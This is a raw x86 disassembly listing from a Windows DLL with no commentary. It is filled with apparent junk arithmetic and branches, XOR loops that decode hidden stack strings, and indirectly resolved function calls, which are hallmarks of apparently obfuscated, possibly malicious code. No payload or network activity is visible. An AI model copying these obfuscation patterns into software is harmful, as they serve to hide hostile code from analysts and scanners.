add eax, 0x9ee7
xor ecx, ecx
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], ecx
jmp 0x1003159e
cmp dword [ebp - 0x28], 0
je 0x1003159e
mov edx, dword [ebp - 0x48]
not edx
mov eax, dword [ebp - 0x44]
not eax
mov ecx, dword [ebp - 0x2c]
xor esi, esi
push esi
push ecx
push eax
push edx
call fcn.10073ef0
mov ecx, eax
mov esi, edx
not ecx
not esi
movzx eax, byte [str.HeapSize]
cdq
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x994], ecx
mov dword [ebp - 0x990], esi
mov edx, dword [ebp - 0x994]
or edx, dword [ebp - 0x990]
jne 0x100314e3
mov dword [ebp - 0x2fc], 1
jmp 0x100314ed
mov dword [ebp - 0x2fc], 0
movsx eax, byte [0x100a2027]
mov ecx, dword [ebp - 0x38]
sub ecx, eax
add ecx, dword [ebp - 0x2fc]
mov byte [ebp - 2], cl
movzx edx, word [0x100a20e0]
test edx, edx
jne 0x10031519
mov dword [ebp - 0x300], 1
jmp 0x10031523
mov dword [ebp - 0x300], 0
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
mov dword [ebp - 0x99c], eax
mov dword [ebp - 0x998], ecx
mov edx, dword [ebp - 0x99c]
or edx, dword [ebp - 0x998]
jne 0x10031554
mov dword [ebp - 0x304], 1
jmp 0x1003155e
mov dword [ebp - 0x304], 0
movzx eax, word [0x100a2124]
sub eax, dword [0x100a2100]
movzx ecx, word [0x100a2138]
not ecx
xor ecx, 0x111d
sub eax, ecx
mov edx, dword [ebp - 0x300]
add edx, dword [ebp - 0x304]
imul ecx, edx, 0x30c
add eax, ecx
mov byte [str.HeapSize], al
mov edx, dword [0x100a2c3c]
mov dword [ebp - 0x18], edx
jmp 0x1003161d
movsx eax, byte [0x100a2027]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x58]
movzx eax, byte [ebp - 2]
sub edx, eax
mov dword [ebp - 0x3c], edx
movzx eax, byte [0x100a207b]
cdq
mov ecx, eax
and ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
not eax
cdq
sub eax, dword [0x100a2140]
xor ecx, eax
not ecx
mov dword [0x100a2100], ecx
movzx edx, word [0x100a20e0]
movsx eax, word [ebp - 0xc]
mov ecx, dword [ebp - 0x64]
not ecx
imul eax, ecx
imul edx, eax
test edx, edx
jne 0x10031607
mov dword [ebp - 0x308], 1
jmp 0x10031611
mov dword [ebp - 0x308], 0
mov edx, dword [ebp - 0x308]
mov dword [0x100a20e4], edx
jmp 0x10031636
movzx eax, byte [ebp - 1]
sub eax, 0xc4
mov dword [ebp - 0x38], eax
mov cx, word [0x100a2138]
mov word [ebp - 0x10], cx
movsx edx, word [0x100a2110]
sub edx, 0x4ed1c9d7
mov word [0x100a20e0], dx
mov ax, word [ebp - 0x48]
mov word [0x100a2124], ax
xor ecx, ecx
mov dword [ebp - 0x54], 0x22ae346d
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x40], 0x2b18bf50
mov edx, dword [ebp - 0x2c]
add edx, 0x5b6d2966
mov dword [ebp - 0x1c], edx
movzx eax, word [0x100a2118]
imul eax, dword [ebp - 0x2c]
mov word [0x100a2118], ax
mov ecx, dword [0x100a2c3c]
mov dword [ebp - 0x190], ecx
movzx edx, word [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x100316e2
mov eax, dword [ebp - 0x28]
cdq
sub eax, 0x2e6c8ec6
sbb edx, 0xa4090
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
xor eax, eax
mov dword [0x100a20d0], 0x4cb57094
mov dword [0x100a20d4], eax
movzx eax, byte [ebp - 3]
sar eax, 8
cdq
mov dword [0x100a2140], eax
mov dword [0x100a2144], edx
jmp 0x100318a5
movzx ecx, word [ebp - 0x10]
test ecx, ecx
jne 0x1003171b
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0x9a4], edx
mov dword [ebp - 0x9a0], eax
mov ecx, dword [ebp - 0x9a4]
or ecx, dword [ebp - 0x9a0]
jne 0x1003171b
mov dword [ebp - 0x30c], 1
jmp 0x10031725
mov dword [ebp - 0x30c], 0
mov edx, dword [0x100a20d8]
xor eax, eax
mov ecx, dword [ebp - 0x54]
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x9ac], edx
mov dword [ebp - 0x9a8], eax
mov dword [ebp - 0x9b4], ecx
mov dword [ebp - 0x9b0], esi
mov edx, dword [ebp - 0x9a8]
cmp edx, dword [ebp - 0x9b0]
ja 0x10031775
jb 0x10031769
mov eax, dword [ebp - 0x9ac]
cmp eax, dword [ebp - 0x9b4]
ja 0x10031775
mov dword [ebp - 0x310], 1
jmp 0x1003177f
mov dword [ebp - 0x310], 0
mov ecx, dword [ebp - 0x30c]
cmp ecx, dword [ebp - 0x310]
je 0x100318a5
movzx edx, word [0x100a2124]
imul eax, edx, 0x8420c939
mov byte [ebp - 3], al
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [0x100a2150]
mov esi, dword [0x100a2154]
push edx
push ecx
push esi
push eax
call fcn.10073ef0
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
movsx ecx, word [0x100a20f0]
movzx edx, word [ebp - 0x14]
imul ecx, edx
movsx eax, word [0x100a20f0]
sub eax, ecx
mov word [0x100a20f0], ax
xor ecx, ecx
mov dword [0x100a2130], 0x1883
mov dword [0x100a2134], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x3c], edx
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
mov dword [ebp - 0x9bc], eax
mov dword [ebp - 0x9b8], ecx
mov edx, dword [ebp - 0x9bc]
or edx, dword [ebp - 0x9b8]
jne 0x10031833
xor eax, eax
mov dword [ebp - 0x9c4], 1
mov dword [ebp - 0x9c0], eax
jmp 0x1003183e
xorps xmm0, xmm0
movlpd qword [ebp - 0x9c4], xmm0
cmp dword [ebp - 0x40], 0
jne 0x10031850
mov dword [ebp - 0x314], 1
jmp 0x1003185a
mov dword [ebp - 0x314], 0
movzx ecx, word [0x100a2118]
not ecx
add ecx, dword [0x100a2104]
and ecx, dword [ebp - 0x314]
jne 0x10031885
xor edx, edx
mov dword [ebp - 0x9cc], 1
mov dword [ebp - 0x9c8], edx
jmp 0x10031890
xorps xmm0, xmm0
movlpd qword [ebp - 0x9cc], xmm0
mov eax, dword [0x100a20d0]
sub eax, dword [ebp - 0x9c4]
sub eax, dword [ebp - 0x9cc]
mov word [ebp - 8], ax
mov ecx, dword [ebp - 0x190]
add ecx, 0x5b3
mov dword [ebp - 0x778], ecx
movzx edx, byte [ebp - 3]
movzx eax, word [ebp - 8]
cmp edx, eax
jne 0x100318cf
mov dword [ebp - 0x318], 1
jmp 0x100318d9
mov dword [ebp - 0x318], 0
movzx ecx, byte [ebp - 3]
cmp ecx, 0x17
jne 0x100318ee
mov dword [ebp - 0x31c], 1
jmp 0x100318f8
mov dword [ebp - 0x31c], 0
mov edx, dword [ebp - 0x318]
cmp edx, dword [ebp - 0x31c]
je 0x10031913
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x100a20e4], eax
jmp 0x10031991
mov eax, 2
imul ecx, eax, 0x24
movsx eax, word [ecx + 0x102c1ba8]
cdq
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [0x100a2130], eax
mov dword [0x100a2134], edx
mov edx, 4
imul eax, edx, 0x303f
movzx ecx, word [0x100a2124]
sub ecx, dword [eax + 0x10143898]
mov word [0x100a2124], cx
movzx edx, word [ebp - 0x14]
movsx eax, byte [str.y4The_server_is_requ]
imul edx, eax
mov word [ebp - 0x14], dx
movzx ecx, word [0x100a2138]
add ecx, dword [0x100a20f4]
movzx edx, word [0x100a2138]
sub edx, ecx
mov word [0x100a2138], dx
mov eax, dword [ebp - 0x190]
add eax, 0x5b3
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x18c], 0
jmp 0x100319bd
mov ecx, dword [ebp - 0x18c]
add ecx, 1
mov dword [ebp - 0x18c], ecx
cmp dword [ebp - 0x18c], 0x149
jge 0x10031b11
movsx edx, word [0x100a20c8]
test edx, edx
je 0x100319e4
movzx eax, word [ebp - 8]
mov dword [ebp - 0x320], eax
jmp 0x100319ee
movzx ecx, byte [ebp - 1]
mov dword [ebp - 0x320], ecx
mov edx, dword [ebp - 0x320]
mov dword [0x100a2104], edx
mov ax, word [0x100a2c3c]
mov word [0x100a2124], ax
movzx ecx, byte [ebp - 2]
test ecx, ecx
je 0x10031a1d
movzx edx, word [0x100a2118]
mov dword [ebp - 0x324], edx
jmp 0x10031a2a
movzx eax, byte [str.HeapSize]
mov dword [ebp - 0x324], eax
mov cx, word [ebp - 0x324]
mov word [0x100a2124], cx
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0x9d4], edx
mov dword [ebp - 0x9d0], eax
mov ecx, dword [ebp - 0x9d4]
or ecx, dword [ebp - 0x9d0]
jne 0x10031a69
mov dword [ebp - 0x328], 1
jmp 0x10031a73
mov dword [ebp - 0x328], 0
movzx edx, word [0x100a211c]
not edx
sub edx, dword [ebp - 0x18]
jne 0x10031a8d
mov dword [ebp - 0x32c], 1
jmp 0x10031a97
mov dword [ebp - 0x32c], 0
movzx eax, word [0x100a2138]
test eax, eax
jne 0x10031aae
mov dword [ebp - 0x330], 1
jmp 0x10031ab8
mov dword [ebp - 0x330], 0
movzx eax, word [0x100a211c]
imul eax, dword [ebp - 0x328]
not eax
imul eax, dword [ebp - 0x32c]
mov ecx, dword [ebp - 0x330]
sub ecx, dword [ebp - 0x58]
sub eax, ecx
cdq
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
movsx eax, byte [0x100a203b]
cdq
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
mov edx, dword [ebp - 0x48]
add edx, 1
mov eax, dword [ebp - 0x44]
adc eax, 0
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x44], eax
jmp 0x100319ae
mov ecx, dword [ebp - 0x190]
add ecx, 0x31c
mov dword [ebp - 0x77c], ecx
mov dword [ebp - 0x194], 0
jmp 0x10031b3e
mov edx, dword [ebp - 0x194]
add edx, 2
mov dword [ebp - 0x194], edx
cmp dword [ebp - 0x194], 0x5c
jge 0x10031b52
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
jmp 0x10031b2f
mov ecx, dword [ebp - 0x334]
imul ecx, dword [ebp - 0x334]
mov edx, 0x55
sub edx, dword [ebp - 0x778]
sub ecx, edx
cmp dword [ebp - 0x77c], ecx
je 0x10032010
movzx eax, word [0x100a2124]
imul eax, dword [ebp - 0x18]
mov word [0x100a2124], ax
cmp dword [ebp - 0x4c], 0
je 0x10031ba2
movzx eax, word [ebp - 0x14]
cdq
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], edx
jmp 0x10031bb4
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x570], ecx
mov dword [ebp - 0x56c], edx
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x18]
xor esi, esi
movzx eax, byte [ebp - 1]
cdq
mov edi, dword [ebp - 0x40]
xor ebx, ebx
sub edi, dword [ebp - 0x48]
sbb ebx, dword [ebp - 0x44]
add eax, edi
adc edx, ebx
add ecx, eax
adc esi, edx
mov dword [ebp - 0x9dc], ecx
mov dword [ebp - 0x9d8], esi
mov edx, dword [ebp - 0x9dc]
or edx, dword [ebp - 0x9d8]
jne 0x10031bfe
mov byte [ebp - 0x68], 1
jmp 0x10031c02
mov byte [ebp - 0x68], 0
mov al, byte [ebp - 0x68]
mov byte [ebp - 2], al
xor ecx, ecx
mov byte [ebp - 0x132], cl
mov byte [ebp - 0x130], 8
xor edx, edx
mov byte [ebp - 0x12f], dl
mov eax, 0x25
mov word [ebp - 0x12e], ax
mov ecx, 0x72
mov word [ebp - 0x12c], cx
mov edx, 0x28
mov word [ebp - 0x12a], dx
xor eax, eax
mov word [ebp - 0x128], ax
mov dword [ebp - 0x90], 0
jmp 0x10031c67
mov ecx, dword [ebp - 0x90]
add ecx, 1
mov dword [ebp - 0x90], ecx
cmp dword [ebp - 0x90], 3
jae 0x10031cc1
mov edx, dword [ebp - 0x90]
lea eax, [ebp + edx*2 - 0x12e]
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x780]
movzx edx, word [ecx]
movsx eax, byte [ebp - 0x130]
xor edx, eax
mov word [ebp - 0x152], dx
mov ecx, dword [ebp - 0x90]
lea edx, [ebp + ecx*2 - 0x12e]
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x784]
mov cx, word [ebp - 0x152]
mov word [eax], cx
jmp 0x10031c58
mov edx, 3
shl edx, 1
lea eax, [ebp + edx - 0x12e]
mov dword [ebp - 0x788], eax
xor ecx, ecx
mov edx, dword [ebp - 0x788]
mov word [edx], cx
lea eax, [ebp - 0x12e]
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x78c]
push ecx
lea edx, [ebp - 0x4040]
push edx
push 0
push 0
call fcn.10001470
call eax
xor eax, eax
mov byte [ebp - 0x133], al
mov byte [ebp - 0xd6], 0x3c
xor ecx, ecx
mov byte [ebp - 0xd5], cl
mov edx, 0x1e
mov word [ebp - 0xd4], dx
xor eax, eax
mov word [ebp - 0xd2], ax
mov dword [ebp - 0x94], 0
jmp 0x10031d4c
mov ecx, dword [ebp - 0x94]
add ecx, 1
mov dword [ebp - 0x94], ecx
cmp dword [ebp - 0x94], 1
jae 0x10031da6
mov edx, dword [ebp - 0x94]
lea eax, [ebp + edx*2 - 0xd4]
mov dword [ebp - 0xbc8], eax
mov ecx, dword [ebp - 0xbc8]
movzx edx, word [ecx]
movsx eax, byte [ebp - 0xd6]
xor edx, eax
mov word [ebp - 0x14a], dx
mov ecx, dword [ebp - 0x94]
lea edx, [ebp + ecx*2 - 0xd4]
mov dword [ebp - 0xbcc], edx
mov eax, dword [ebp - 0xbcc]
mov cx, word [ebp - 0x14a]
mov word [eax], cx
jmp 0x10031d3d
mov edx, 1
shl edx, 1
lea eax, [ebp + edx - 0xd4]
mov dword [ebp - 0xbd0], eax
xor ecx, ecx
mov edx, dword [ebp - 0xbd0]
mov word [edx], cx
lea eax, [ebp - 0xd4]
mov dword [ebp - 0x63c], eax
mov ecx, dword [ebp - 0x63c]
push ecx
lea edx, [ebp - 0x4040]
push edx
push 0
push 0
call fcn.10001320
call eax
lea eax, [ebp - 0x1408]
push eax
lea ecx, [ebp - 0x4040]
push ecx
push 0
push 0
call fcn.10001320
call eax
push 0x100865ec
lea edx, [ebp - 0x4040]
push edx
push 0
push 0
call fcn.10001320
call eax
mov eax, dword [0x100a2104]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [0x100a2114], eax
lea ecx, [ebp - 0x303c]
mov dword [ebp - 0xc1c], ecx
xor edx, edx
mov byte [ebp - 0x73], dl
lea eax, [ebp - 0xfb8]
push eax
lea ecx, [ebp - 0x73]
call fcn.10001ba0
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x98], 0
jmp 0x10031e6c
mov ecx, dword [ebp - 0x98]
add ecx, 1
mov dword [ebp - 0x98], ecx
cmp dword [ebp - 0x98], 0x1d
jae 0x10031ece
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0xac]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x640], ecx
mov edx, dword [ebp - 0x640]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xac]
movsx edx, byte [ecx]
xor eax, edx
mov word [ebp - 0x14c], ax
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0xac]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x644], edx
mov eax, dword [ebp - 0x644]
mov cx, word [ebp - 0x14c]
mov word [eax], cx
jmp 0x10031e5d
mov edx, 0x1d
shl edx, 1
mov eax, dword [ebp - 0xac]
lea ecx, [eax + edx + 2]
mov dword [ebp - 0x648], ecx
xor edx, edx
mov eax, dword [ebp - 0x648]
mov word [eax], dx
mov ecx, dword [ebp - 0xac]
add ecx, 2
mov dword [ebp - 0x64c], ecx
mov edx, dword [ebp - 0x64c]
mov dword [ebp - 0xc18], edx
xor eax, eax
mov byte [ebp - 0x76], al
lea ecx, [ebp - 0xeec]
push ecx
lea ecx, [ebp - 0x76]
call fcn.10001d30
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], 0
jmp 0x10031f40
cmp dword [ebp - 0xb0], 0x14
jae 0x10031fa2
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x650], edx
mov eax, dword [ebp - 0x650]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xb4]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0x1cc], cx
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xb4]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x654], eax
mov ecx, dword [ebp - 0x654]
mov dx, word [ebp - 0x1cc]
mov word [ecx], dx
jmp 0x10031f31
mov eax, 0x14
shl eax, 1
mov ecx, dword [ebp - 0xb4]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x658], edx
xor eax, eax
mov ecx, dword [ebp - 0x658]
mov word [ecx], ax
mov edx, dword [ebp - 0xb4]
add edx, 2
mov dword [ebp - 0x65c], edx
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0xc14], eax
lea ecx, [ebp - 0x4040]
mov dword [ebp - 0xc10], ecx
mov dword [ebp - 0xc0c], 3
mov dword [ebp - 0xc08], 0
lea edx, [ebp - 0xc1c]
push edx
call fcn.1002a6d0
jmp 0x10037ad1
jmp 0x1003687b
movzx eax, word [0x100a2118]
movzx ecx, word [0x100a20e0]
imul eax, ecx
movzx edx, word [0x100a2118]
add edx, eax
mov word [0x100a2118], dx
movzx eax, word [0x100a2124]
add eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x18], ecx
movsx eax, word [ebp - 0xc]
cdq
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xd20], ecx
sub eax, edx
mov word [ebp - 0xc], ax
movsx eax, byte [0x100a203b]
sar eax, 1
cdq
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x2c], 0
jne 0x10032081
mov dword [ebp - 0x338], 1
jmp 0x1003208b
mov dword [ebp - 0x338], 0
cmp dword [ebp - 0x18], 0
jne 0x1003209d
mov dword [ebp - 0x33c], 1
jmp 0x100320a7
mov dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0x58]
imul eax, dword [ebp - 0x338]
not eax
cdq
mov ecx, dword [ebp - 0x60]
sub ecx, eax
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x33c]
movzx edx, word [ebp - 8]
sub edx, dword [ebp - 0x28]
sub eax, edx
cdq
sub ecx, eax
not ecx
mov word [ebp - 0x10], cx
mov dword [0x100a2104], 0xe971
movzx eax, word [0x100a2118]
cmp eax, dword [0x100a2104]
jge 0x100320f9
mov dword [ebp - 0x340], 1
jmp 0x10032103
mov dword [ebp - 0x340], 0
movzx ecx, word [0x100a2118]
cmp ecx, 0x3d
jge 0x1003211b
mov dword [ebp - 0x344], 1
jmp 0x10032125
mov dword [ebp - 0x344], 0
mov edx, dword [ebp - 0x340]
cmp edx, dword [ebp - 0x344]
jl 0x10032270
movzx eax, word [ebp - 0x14]
cdq
add eax, dword [ebp - 0x34]
adc edx, dword [ebp - 0x30]
mov dword [ebp - 0x9e4], eax
mov dword [ebp - 0x9e0], edx
mov eax, dword [ebp - 0x9e4]
or eax, dword [ebp - 0x9e0]
jne 0x10032170
xor ecx, ecx
mov dword [ebp - 0x578], 1
mov dword [ebp - 0x574], ecx
jmp 0x1003217b
xorps xmm0, xmm0
movlpd qword [ebp - 0x578], xmm0
mov eax, dword [ebp - 0x1c]
not eax
cdq
or eax, dword [ebp - 0x48]
or edx, dword [ebp - 0x44]
add eax, dword [ebp - 0x578]
adc edx, dword [ebp - 0x574]
mov dword [ebp - 0x9ec], eax
mov dword [ebp - 0x9e8], edx
mov edx, dword [ebp - 0x9ec]
or edx, dword [ebp - 0x9e8]
jne 0x100321c1
xor eax, eax
mov dword [ebp - 0x580], 1
mov dword [ebp - 0x57c], eax
jmp 0x100321cc
xorps xmm0, xmm0
movlpd qword [ebp - 0x580], xmm0
movzx eax, word [0x100a2124]
cdq
mov ecx, dword [0x100a20d0]
sub ecx, eax
mov eax, dword [0x100a20d4]
sbb eax, edx
movzx edx, word [ebp - 0x14]
not edx
add edx, dword [ebp - 0x18]
xor esi, esi
sub ecx, edx
sbb eax, esi
sub ecx, dword [ebp - 0x580]
sbb eax, dword [ebp - 0x57c]
mov dword [ebp - 0x9f4], ecx
mov dword [ebp - 0x9f0], eax
mov eax, dword [ebp - 0x9f4]
or eax, dword [ebp - 0x9f0]
jne 0x1003222c
xor ecx, ecx
mov dword [ebp - 0x588], 1
mov dword [ebp - 0x584], ecx
jmp 0x10032237
xorps xmm0, xmm0
movlpd qword [ebp - 0x588], xmm0
mov edx, dword [ebp - 0x588]
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x4c]
sub eax, 0x66bbc67c
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov byte [0x100a207a], 0xc9
movzx eax, byte [ebp - 1]
cdq
add eax, 0x6eae5837
mov dword [0x100a2128], eax
jmp 0x100322e8
cmp dword [ebp - 0x64], 0
je 0x100322e8
movsx eax, word [0x100a2110]
cdq
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0xd24], edx
sub eax, ecx
mov word [0x100a2110], ax
mov eax, dword [ebp - 0x48]
xor eax, 0xf754486a
mov word [ebp - 0xc], ax
mov cx, word [ebp - 0x14]
sub cx, 1
mov word [ebp - 0x14], cx
mov edx, dword [0x100a2150]
mov eax, dword [0x100a2154]
mov dword [ebp - 0xd28], eax
add edx, 0x9198
mov ecx, dword [0x100a20e4]
sub ecx, edx
mov dword [0x100a20e4], ecx
mov edx, dword [0x100a2c3c]
mov dword [ebp - 0x18], edx
imul eax, dword [ebp - 0x1c], 0x3f
mov word [0x100a211c], ax
mov ecx, dword [0x100a2104]
add ecx, dword [ebp - 0x38]
cmp dword [0x100a20e4], ecx
jne 0x10032437
mov edx, dword [0x100865f0]
mov dword [ebp - 0xbdc], edx
mov eax, dword [0x100865f4]
mov dword [ebp - 0xbd8], eax
mov cl, byte [0x100865f8]
mov byte [ebp - 0xbd4], cl
lea edx, [ebp - 0xbdc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
mov eax, dword [ebp - 0x38]
add eax, 0x1ac6b686
cdq
mov dword [ebp - 0x9fc], ecx
mov dword [ebp - 0x9f8], esi
mov dword [ebp - 0xa04], eax
mov dword [ebp - 0xa00], edx
mov edx, dword [ebp - 0x9fc]
cmp edx, dword [ebp - 0xa04]
jne 0x10032437
mov eax, dword [ebp - 0x9f8]
cmp eax, dword [ebp - 0xa00]
jne 0x10032437
mov cx, word [0x100a211c]
mov word [0x100a20f0], cx
mov dx, word [ebp - 0x48]
mov word [0x100a2110], dx
jmp 0x100320d4
mov ecx, dword [0x100a2c3c]
mov dword [ebp - 0x1dc], ecx
movzx edx, word [0x100a2124]
mov eax, dword [ebp - 0x4c]
not eax
cmp edx, eax
jg 0x1003245f
mov dword [ebp - 0x34c], 1
jmp 0x10032469
mov dword [ebp - 0x34c], 0
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x34c]
jne 0x100325e8
mov edx, dword [ebp - 0x60]
or edx, dword [ebp - 0x5c]
je 0x100325a1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov byte [0x100a2027], al
movsx eax, byte [0x100a2027]
test eax, eax
jne 0x100324e5
mov eax, dword [ebp - 0x4c]
cdq
sub eax, 0xfaff67f
sbb edx, 0x8b0c9
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
movzx ecx, byte [0x100a207a]
movsx edx, word [0x100a20f0]
movsx eax, word [ebp - 0xc]
sub edx, eax
sub ecx, edx
mov word [0x100a20c8], cx
mov ecx, dword [0x100a2c3c]
xor edx, edx
mov dword [0x100a20f8], ecx
mov dword [0x100a20fc], edx
jmp 0x1003259f
mov eax, dword [ebp - 0x60]
add eax, 1
mov ecx, dword [ebp - 0x5c]
adc ecx, 0
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], ecx
mov edx, dword [0x100a2100]
xor edx, 0xa9
xor eax, eax
mov dword [0x100a2140], edx
mov dword [0x100a2144], eax
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0xa0c], ecx
mov dword [ebp - 0xa08], edx
mov eax, dword [ebp - 0xa0c]
or eax, dword [ebp - 0xa08]
je 0x10032542
movzx ecx, word [ebp - 0x10]
mov dword [ebp - 0x350], ecx
jmp 0x1003254f
movsx edx, word [0x100a20c8]
mov dword [ebp - 0x350], edx
mov eax, dword [ebp - 0x350]
cdq
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
mov edx, 8
imul edx, edx, 0x40ae
mov dword [edx + 0x101e2328], eax
mov dword [edx + 0x101e232c], ecx
mov eax, dword [0x100a2148]
mov ecx, dword [0x100a214c]
add eax, 0x24
adc ecx, 0
mov dword [0x100a2130], eax
mov dword [0x100a2134], ecx
jmp 0x100325e8
mov dl, byte [ebp - 2]
add dl, 1
mov byte [ebp - 2], dl
mov eax, dword [0x100a20e4]
xor ecx, ecx
and eax, 0xff0aff6a
and ecx, 0x4caf
mov dword [0x100a2148], eax
mov dword [0x100a214c], ecx
movzx edx, word [ebp - 0x10]
xor edx, dword [ebp - 0x1c]
mov word [ebp - 0x10], dx
mov eax, dword [0x100a2c3c]
mov dword [0x100a2100], eax
mov ecx, dword [0x100a2104]
sub ecx, 0x1c
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x1dc]
add edx, 0x37d
mov dword [ebp - 0x118], edx
mov eax, dword [0x100a20e4]
xor ecx, ecx
push 0xce294
push 0x2c51d7dd
push ecx
push eax
call fcn.10073ef0
mov dword [ebp - 0x64], eax
mov edx, dword [0x100a2114]
add edx, 0x41f7f9fc
mov dword [ebp - 0x40], edx
mov eax, dword [0x100a20f4]
sub eax, 0x2c14
mov dword [0x100a2128], eax
mov ecx, dword [ebp - 0x1dc]
add ecx, 0x3ef
mov dword [ebp - 0xd30], ecx
movzx edx, word [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_IsIconic]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jb 0x100327ae
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov word [0x100a20e0], ax
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov dword [ebp - 0xa14], ecx
mov dword [ebp - 0xa10], edx
mov eax, dword [ebp - 0xa14]
or eax, dword [ebp - 0xa10]
je 0x100327ac
movzx ecx, byte [0x100a207b]
test ecx, ecx
je 0x100327ac
movzx edx, byte [ebp - 1]
movzx eax, word [ebp - 0x10]
cmp edx, eax
jge 0x10032718
movsx ecx, byte [str.y4The_server_is_requ]
mov edx, dword [ebp - 0x40]
sub edx, ecx
jne 0x100326ce
mov eax, 1
mov word [ebp - 0x9e], ax
jmp 0x100326d7
xor ecx, ecx
mov word [ebp - 0x9e], cx
mov dx, word [ebp - 0x9e]
mov word [0x100a2124], dx
movsx eax, byte [0x100a2027]
sub eax, 0xa7
mov dword [0x100a2104], eax
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x28]
add edx, ecx
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x38]
cdq
sub eax, 0x41350004
mov ecx, dword [ebp - 0x2c]
and ecx, eax
mov dword [ebp - 0x2c], ecx
jmp 0x100327ac
mov eax, dword [ebp - 0x1c]
cdq
mov dword [ebp - 0xa1c], eax
mov dword [ebp - 0xa18], edx
cmp dword [ebp - 0xa18], 0x8e27b
jg 0x100327ac
jl 0x10032742
cmp dword [ebp - 0xa1c], 0x421493eb
ja 0x100327ac
movzx edx, word [0x100a20e0]
movzx eax, byte [ebp - 1]
xor edx, eax
movzx ecx, word [0x100a20e0]
imul ecx, edx
mov word [0x100a20e0], cx
movzx eax, byte [ebp - 3]
cdq
add eax, dword [0x100a2140]
adc edx, dword [0x100a2144]
add eax, dword [0x100a2140]
adc edx, dword [0x100a2144]
mov dword [0x100a2140], eax
mov dword [0x100a2144], edx
movsx edx, word [ebp - 0xc]
imul eax, edx, 0x2e
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov eax, dword [0x100a2104]
sub eax, dword [ebp - 0x4c]
mov ecx, dword [0x100a2104]
